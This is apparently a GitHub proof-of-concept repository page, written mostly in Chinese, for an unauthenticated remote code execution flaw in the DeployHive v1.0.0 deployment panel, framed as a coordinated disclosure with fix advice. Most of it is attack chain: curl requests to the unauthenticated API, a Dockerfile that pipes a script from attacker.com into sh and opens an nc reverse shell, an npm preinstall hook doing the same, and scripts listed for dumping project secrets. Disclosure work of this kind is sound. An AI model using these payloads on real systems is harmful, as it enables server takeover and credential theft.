BlessedOn3/poc-deployhive-unauth-rce

GitHub: BlessedOn3/poc-deployhive-unauth-rce

复现 DeployHive v1.0.0 部署面板因所有 API 端点缺少身份验证而导致的未授权 RCE 漏洞(CVSS 10.0)的概念验证项目。

Stars: 0 | Forks: 0

# CVE — iabdullahmumtaz/DeployHive 通过 Docker Build + npm Scripts 实现的未授权 RCE **严重程度:** 危急 (CVSS 3.1: 10.0) **受影响版本:** DeployHive v1.0.0 **报告者:** Mateus Gama (theblessone.sec@gmail.com) **披露:** 协调披露 — 2026-05-27 (issue #1) ## 摘要 DeployHive 是一个 DevOps 部署面板。Express 服务器默认绑定到 `0.0.0.0`,且**所有 endpoint 均无任何授权**。攻击者可以通过两种方式部署任意代码。 | # | 发现 | CVSS | |---|---|---| | 01 | 通过对攻击者控制的 repo 进行 Docker build 实现的未授权 RCE | **10.0** | | 02 | 通过 npm preinstall/postinstall 生命周期脚本实现的未授权 RCE | 9.8 | | 03 | 向已部署的 container 中注入未授权的环境变量 | 8.1 | | 04 | 未授权读取所有项目、日志和密钥 | 7.5 | ## 攻击链 — Docker RCE ``` # 创建指向恶意 repo 的项目(无 auth) curl -X POST http://victim:6012/api/projects \ -H 'Content-Type: application/json' \ -d '{"name":"x","repoUrl":"https://github.com/attacker/malicious","branch":"main"}' # 触发 deploy — 克隆 repo,docker build + 运行(RestartPolicy: unless-stopped) curl -X POST http://victim:6012/api/deployments \ -H 'Content-Type: application/json' \ -d '{"projectId":""}' ``` 攻击者 repo 中的恶意 `Dockerfile`: ``` FROM alpine RUN curl http://attacker.com/shell.sh | sh CMD ["sh","-c","while true; do nc attacker.com 4444 -e /bin/sh; sleep 5; done"] ``` ## 攻击链 — npm RCE(无需 Docker) 恶意的 `package.json`(repo 中没有 `Dockerfile`): ``` { "name": "legit", "scripts": { "preinstall": "curl http://attacker.com/shell.sh | bash" } } ``` DeployHive 在 HOST 上运行 `execSync('npm install --omit=dev', { cwd: repoPath })`。 preinstall hook 将作为 OS 命令执行。 ## 概念验证 ``` # 完全的 Docker RCE(需要攻击者控制的 git repo) bash poc/docker_rce.sh http://target:6012 https://github.com/your/malicious-repo # npm lifecycle RCE bash poc/npm_rce.sh http://target:6012 https://github.com/your/npm-malicious-repo # 导出所有项目 secrets bash poc/dump_secrets.sh http://target:6012 ``` ## 修复建议 1. 在所有路由之前全局添加身份验证中间件 2. 默认绑定到 `127.0.0.1`:`app.listen(PORT, '127.0.0.1')` 3. 根据 allowlist 验证 `repoUrl` 4. 在沙盒 container 内而非 host 上运行 `npm install`
标签:DevOps安全, Go语言工具, MITM代理, PoC, 应用安全, 暗色界面, 暴力破解, 未授权访问, 编程工具, 请求拦截, 远程代码执行, 配置审计